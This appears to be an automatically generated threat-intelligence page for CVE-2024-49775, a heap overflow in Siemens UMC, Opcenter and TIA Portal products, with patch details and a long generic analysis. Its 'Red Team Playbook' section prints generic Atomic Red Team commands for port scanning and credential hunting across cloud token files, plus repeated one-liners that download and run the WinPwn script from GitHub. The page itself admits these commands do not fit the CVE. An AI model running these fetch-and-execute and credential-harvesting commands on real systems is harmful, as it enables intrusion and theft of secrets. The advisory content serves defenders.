CVE-2024-49775
Overview
The vulnerability is a heap-based buffer overflow in the integrated UMC component of Siemens Opcenter Execution Foundation and related products. This flaw arises from improper bounds checking during memory operations within the UMC module, leading to memory corruption. The affected component is the UMC subsystem embedded in multiple Siemens industrial software products, including Opcenter and SIMATIC PCS neo versions prior to specified updates.
Vulnerability Description
A vulnerability has been identified in Opcenter Execution Foundation (All versions < V2501.0001), Opcenter Intelligence (All versions < V2501.0001), Opcenter Quality (All versions < V2512), Opcenter RDnL (All versions < V2410), SIMATIC PCS neo V4.0 (All versions), SIMATIC PCS neo V4.1 (All versions < V4.1 Update 3), SIMATIC PCS neo V5.0 (All versions < V5.0 Update 1), SINEC NMS (All versions if operated in conjunction with UMC < V2.15), Totally Integrated Automation Portal (TIA Portal) V16 (All versions), Totally Integrated Automation Portal (TIA Portal) V17 (All versions), Totally Integrated Automation Portal (TIA Portal) V18 (All versions), Totally Integrated Automation Portal (TIA Portal) V19 (All versions). Affected products contain a heap-based buffer overflow vulnerability in the integrated UMC component. This could allow an unauthenticated remote attacker to execute arbitrary code.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on affected systems, potentially gaining full control over the industrial software environment. No user interaction or prior authentication is required, and network access to the vulnerable UMC component suffices. This can lead to unauthorized manipulation of industrial processes, data breaches, and disruption of critical automation workflows. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the ease of remote exploitation without privileges.
Solution
Siemens has released patches addressing this vulnerability in specific product versions: Opcenter Execution Foundation and Opcenter Intelligence versions V2501.0001 and later, Opcenter Quality V2512 and later, SIMATIC PCS neo updates V4.1 Update 3 and V5.0 Update 1, and TIA Portal versions V16 through V19 with corresponding updates. Users should apply the updates as outlined in Siemens Security Advisory SSA-928984 (https://cert-portal.siemens.com/productcert/html/ssa-928984.html) for detailed patching instructions and version-specific remediation steps.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in multiple versions of various industrial automation and control products, specifically related to a heap-based buffer overflow in the integrated UMC component. This type of vulnerability occurs when a program writes more data to a buffer than it can hold, potentially leading to memory corruption. In this case, the flaw allows an unauthenticated remote attacker to execute arbitrary code on affected systems. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that necessitates immediate attention from organizations utilizing these products.
Attack vectors for exploiting this vulnerability are particularly concerning due to the remote nature of the threat. An attacker could leverage this flaw by crafting malicious input that exceeds the buffer size, which could then be executed on the target system. This could occur through various means, such as sending specially crafted packets over the network or exploiting web interfaces associated with the affected products. Given that the vulnerability does not require authentication, it significantly lowers the barrier for attackers, making it easier for them to gain unauthorized access to critical systems. Scenarios could range from unauthorized data manipulation to complete system compromise, with potential implications for operational continuity and safety.
The real-world impact of this vulnerability is profound, especially for organizations in sectors such as manufacturing, energy, and critical infrastructure. The potential for arbitrary code execution means that attackers could disrupt operations, steal sensitive data, or even manipulate industrial processes, leading to physical damage or safety incidents. The business risks associated with such an attack include not only financial losses due to operational downtime but also reputational damage and regulatory repercussions. Organizations may face significant liabilities if they fail to protect their systems, particularly in industries where safety and reliability are paramount.
To address this vulnerability, organizations must implement robust detection and mitigation strategies. Regularly updating and patching affected products is crucial, as vendors have released updates to remediate the flaw. Organizations should prioritize the deployment of these updates across their systems. Additionally, employing intrusion detection systems (IDS) can help identify and alert on suspicious activities that may indicate an attempted exploitation of the vulnerability. Network segmentation can also be an effective strategy to limit the potential impact of an attack, isolating critical systems from less secure environments. Furthermore, conducting regular security assessments and penetration testing can help organizations identify and address vulnerabilities before they can be exploited by malicious actors.
In conclusion, the identified heap-based buffer overflow vulnerability presents a significant threat to industrial automation and control systems. The potential for remote exploitation by unauthenticated attackers poses severe risks to operational integrity and safety. Organizations must take proactive measures to mitigate these risks through timely updates, robust monitoring, and comprehensive security practices. By prioritizing cybersecurity in their operational technology environments, organizations can better protect themselves against the evolving landscape of cyber threats.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-49775, reflecting a growing likelihood of exploitation attempts in the near term. Although no new exploit code or active exploitation campaigns have been observed by our sensors, the upward trend in EPSS—now approaching the 0.9 percentile—indicates heightened attacker interest or preparatory activity. This shift is significant for defenders because it suggests that threat actors may be advancing from reconnaissance to weaponization phases, increasing the risk of imminent exploitation. Consequently, the threat level for affected Siemens industrial automation products should be reassessed as elevated, warranting closer monitoring of network traffic and system behavior for potential indicators of compromise. The absence of confirmed exploit deployment does not diminish the criticality of this vulnerability; rather, the rising EPSS score serves as an early warning signal that exploitation attempts could materialize soon, especially given the critical nature of the impacted operational technology environments.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-92 | Forced Integer Overflow |
47%
|
High | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-49775 |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/html/ssa-928984.html |